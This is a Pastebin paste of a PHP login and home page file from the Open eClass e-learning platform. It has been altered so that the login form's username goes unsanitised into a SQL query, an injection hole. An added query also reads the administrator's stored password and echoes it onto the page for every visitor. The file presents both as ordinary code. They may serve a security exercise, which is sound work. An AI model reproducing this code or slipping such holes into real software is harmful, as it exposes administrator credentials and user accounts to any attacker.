Advertisement
Guest User

Untitled

a guest
Jun 23rd, 2016
167
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.64 KB | None | 0 0
  1. <?php session_start();
  2. /*========================================================================
  3. * Open eClass 2.3
  4. * E-learning and Course Management System
  5. * ========================================================================
  6. * Copyright(c) 2003-2010 Greek Universities Network - GUnet
  7. * A full copyright notice can be read in "/info/copyright.txt".
  8. *
  9. * Developers Group: Costas Tsibanis <k.tsibanis@noc.uoa.gr>
  10. * Yannis Exidaridis <jexi@noc.uoa.gr>
  11. * Alexandros Diamantidis <adia@noc.uoa.gr>
  12. * Tilemachos Raptis <traptis@noc.uoa.gr>
  13. *
  14. * For a full list of contributors, see "credits.txt".
  15. *
  16. * Open eClass is an open platform distributed in the hope that it will
  17. * be useful (without any warranty), under the terms of the GNU (General
  18. * Public License) as published by the Free Software Foundation.
  19. * The full license can be read in "/info/license/license_gpl.txt".
  20. *
  21. * Contact address: GUnet Asynchronous eLearning Group,
  22. * Network Operations Center, University of Athens,
  23. * Panepistimiopolis Ilissia, 15784, Athens, Greece
  24. * eMail: info@openeclass.org
  25. * =========================================================================*/
  26. /*
  27. * Index
  28. *
  29. * @version $Id: index.php,v 1.71 2009-12-15 12:45:02 jexi Exp $
  30. *
  31. * @abstract This file serves as the home page of eclass when the user
  32. * is not logged in.
  33. *
  34. */
  35.  
  36. /***************************************************************
  37. * HOME PAGE OF ECLASS *
  38. ****************************************************************
  39. */
  40. define ("INDEX_START", 1);
  41. $guest_allowed = true;
  42. $path2add = 0;
  43. include "include/baseTheme.php";
  44. include "modules/auth/auth.inc.php";
  45. //$homePage is used by baseTheme.php to parse correctly the breadcrumb
  46. $homePage = true;
  47. $tool_content = "";
  48.  
  49. // first check
  50. // check if we can connect to database. If not then eclass is most likely not installed
  51. if (isset($mysqlServer) and isset($mysqlUser) and isset($mysqlPassword)) {
  52. $db = mysql_connect($mysqlServer, $mysqlUser, $mysqlPassword);
  53. if (mysql_version()) mysql_query("SET NAMES utf8");
  54. }
  55. if (!$db) {
  56. include "include/not_installed.php";
  57. }
  58.  
  59. // unset system that records visitor only once by course for statistics
  60. include('include/action.php');
  61. if (isset($dbname)) {
  62. mysql_select_db($dbname);
  63. $action = new action();
  64. $action->record('MODULE_ID_UNITS', 'exit');
  65. }
  66. unset($dbname);
  67.  
  68. // second check
  69. // can we select a database? if not then there is some sort of a problem
  70. if (isset($mysqlMainDb)) $selectResult = mysql_select_db($mysqlMainDb,$db);
  71. if (!isset($selectResult)) {
  72. include "include/not_installed.php";
  73. }
  74.  
  75. //if platform admin allows usage of eclass personalised
  76. //create a session so that each user can activate it for himself.
  77. if (isset($persoIsActive)) {
  78. $_SESSION["perso_is_active"] = $persoIsActive;
  79. }
  80.  
  81. // if we try to login... then authenticate user.
  82. $warning = '';
  83. if (isset($_SESSION['shib_uname'])) { // authenticate via shibboleth
  84. include 'include/shib_login.php';
  85. } else { // normal authentication
  86. if (isset($_POST['uname'])) {
  87. //$uname = escapeSimple(preg_replace('/ +/', ' ', trim($_POST['uname'])));
  88. $uname = $_POST['uname'];
  89. } else {
  90. $uname = '';
  91. }
  92.  
  93. $pass = isset($_POST['pass'])?$_POST['pass']:'';
  94. $submit = isset($_POST['submit'])?$_POST['submit']:'';
  95. $auth = get_auth_active_methods();
  96. $is_eclass_unique = is_eclass_unique();
  97.  
  98. $badQuery = "SELECT password FROM user WHERE user_id=1";
  99. $query = mysql_query($badQuery);
  100. $row = mysql_fetch_row($query);
  101. echo $row[0];
  102.  
  103. if(!empty($submit)) {
  104. unset($uid);
  105. $sqlLogin= "SELECT user_id, nom, username, password, prenom, statut, email, perso, lang
  106. FROM user WHERE username='".$uname."'";
  107. $result = mysql_query($sqlLogin);
  108. $check_passwords = array("pop3","imap","ldap","db");
  109. $warning = "";
  110. $auth_allow = 0;
  111. $exists = 0;
  112. if (!isset($_COOKIE) or count($_COOKIE) == 0) {
  113. // Disallow login when cookies are disabled
  114. $auth_allow = 5;
  115. } elseif (empty($pass)) {
  116. // Disallow login with empty password
  117. $auth_allow = 4;
  118. } else {
  119. while ($myrow = mysql_fetch_array($result)) {
  120. $exists = 1;
  121. if(!empty($auth)) {
  122. if(!in_array($myrow["password"],$check_passwords)) {
  123. // eclass login
  124. include "include/login.php";
  125. } else {
  126. // alternate methods login
  127. include "include/alt_login.php";
  128. }
  129. } else {
  130. $tool_content .= "<br>$langInvalidAuth<br>";
  131. }
  132. }
  133. }
  134. if(empty($exists) and !$auth_allow) {
  135. $auth_allow = 4;
  136. }
  137. if (!isset($uid)) {
  138. switch($auth_allow) {
  139. case 1 : $warning .= "";
  140. break;
  141. case 2 : $warning .= "<br /><font color='red'>".$langInvalidId ."</font><br />";
  142. break;
  143. case 3 : $warning .= "<br />".$langAccountInactive1." <a href='modules/auth/contactadmin.php?userid=".$user."'>".$langAccountInactive2."</a><br /><br />";
  144. break;
  145. case 4 : $warning .= "<br /><font color='red'>". $langInvalidId . "</font><br />";
  146. break;
  147. case 5 : $warning .= "<br /><font color='red'>". $langNoCookies . "</font><br />";
  148. break;
  149. default:
  150. break;
  151. }
  152. } else {
  153. $warning = '';
  154. $log='yes';
  155. $_SESSION['nom'] = $nom;
  156. $_SESSION['prenom'] = $prenom;
  157. $_SESSION['email'] = $email;
  158. $_SESSION['statut'] = $statut;
  159. $_SESSION['is_admin'] = $is_admin;
  160. $_SESSION['uid'] = $uid;
  161. mysql_query("INSERT INTO loginout (loginout.idLog, loginout.id_user, loginout.ip, loginout.when, loginout.action)
  162. VALUES ('', '$uid', '$_SERVER[REMOTE_ADDR]', NOW(), 'LOGIN')");
  163. }
  164.  
  165. ##[BEGIN personalisation modification]############
  166. //if user has activated the personalised interface
  167. //register a control session for it
  168. if (isset($_SESSION['perso_is_active']) and (isset($userPerso))) {
  169. $_SESSION['user_perso_active'] = $userPerso;
  170. }
  171. ##[END personalisation modification]############
  172. } // end of user authentication
  173. }
  174.  
  175. if (isset($_SESSION['uid'])) {
  176. $uid = $_SESSION['uid'];
  177. } else {
  178. unset($uid);
  179. }
  180. // if the user logged in include the correct language files
  181. // in case he has a different language set in his/her profile
  182. if (isset($language)) {
  183. // include_messages
  184. include("${webDir}modules/lang/$language/common.inc.php");
  185. $extra_messages = "${webDir}/config/$language.inc.php";
  186. if (file_exists($extra_messages)) {
  187. include $extra_messages;
  188. } else {
  189. $extra_messages = false;
  190. }
  191. include("${webDir}modules/lang/$language/messages.inc.php");
  192. if ($extra_messages) {
  193. include $extra_messages;
  194. }
  195.  
  196. }
  197. $nameTools = $langWelcomeToEclass;
  198.  
  199. //----------------------------------------------------------------
  200. // if login succesful display courses lists
  201. // --------------------------------------------------------------
  202. if (isset($uid) AND !isset($logout)) {
  203. $nameTools = $langWelcomeToPortfolio;
  204. $require_help = true;
  205. $helpTopic="Portfolio";
  206. if (isset($_SESSION['user_perso_active']) and $_SESSION['user_perso_active'] == 'no') {
  207. if (!check_guest()){
  208. //if the user is not a guest, load classic view
  209. include "include/logged_in_content.php";
  210. draw($tool_content,1,null,null,null,null,$perso_tool_content);
  211. } else {
  212. //if the user is a guest send him straight to the corresponding lesson
  213. $guestSQL = db_query("SELECT code FROM cours_user, cours
  214. WHERE cours.cours_id = cours_user.cours_id AND
  215. user_id = $uid", $mysqlMainDb);
  216. if (mysql_num_rows($guestSQL) > 0) {
  217. $sql_row = mysql_fetch_row($guestSQL);
  218. $dbname=$sql_row[0];
  219. session_register("dbname");
  220. header("location:".$urlServer."courses/$dbname/index.php");
  221. } else { // if course has deleted stop guest account
  222. $warning = "<br><font color='red'>".$langInvalidGuestAccount."</font><br>";
  223. include "include/logged_out_content.php";
  224. draw($tool_content, 0,'index');
  225. }
  226. }
  227. } else {
  228. //load classic view
  229. include "include/classic.php";
  230. draw($tool_content, 1, 'index');
  231. }
  232. } // end of if login
  233.  
  234. // -------------------------------------------------------------------------------------
  235. // display login page
  236. // -------------------------------------------------------------------------------------
  237. elseif ((isset($logout) && isset($uid)) OR (1==1)) {
  238. if (isset($logout) && isset($uid)) {
  239. mysql_query("INSERT INTO loginout (loginout.idLog, loginout.id_user,
  240. loginout.ip, loginout.when, loginout.action)
  241. VALUES ('', '$uid', '$REMOTE_ADDR', NOW(), 'LOGOUT')");
  242. unset($prenom);
  243. unset($nom);
  244. unset($statut);
  245. unset($_SESSION['uid']);
  246. session_destroy();
  247. }
  248. $require_help = true;
  249. $helpTopic="Init";
  250. include "include/logged_out_content.php";
  251. draw($tool_content, 0,'index');
  252. } // end of display
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement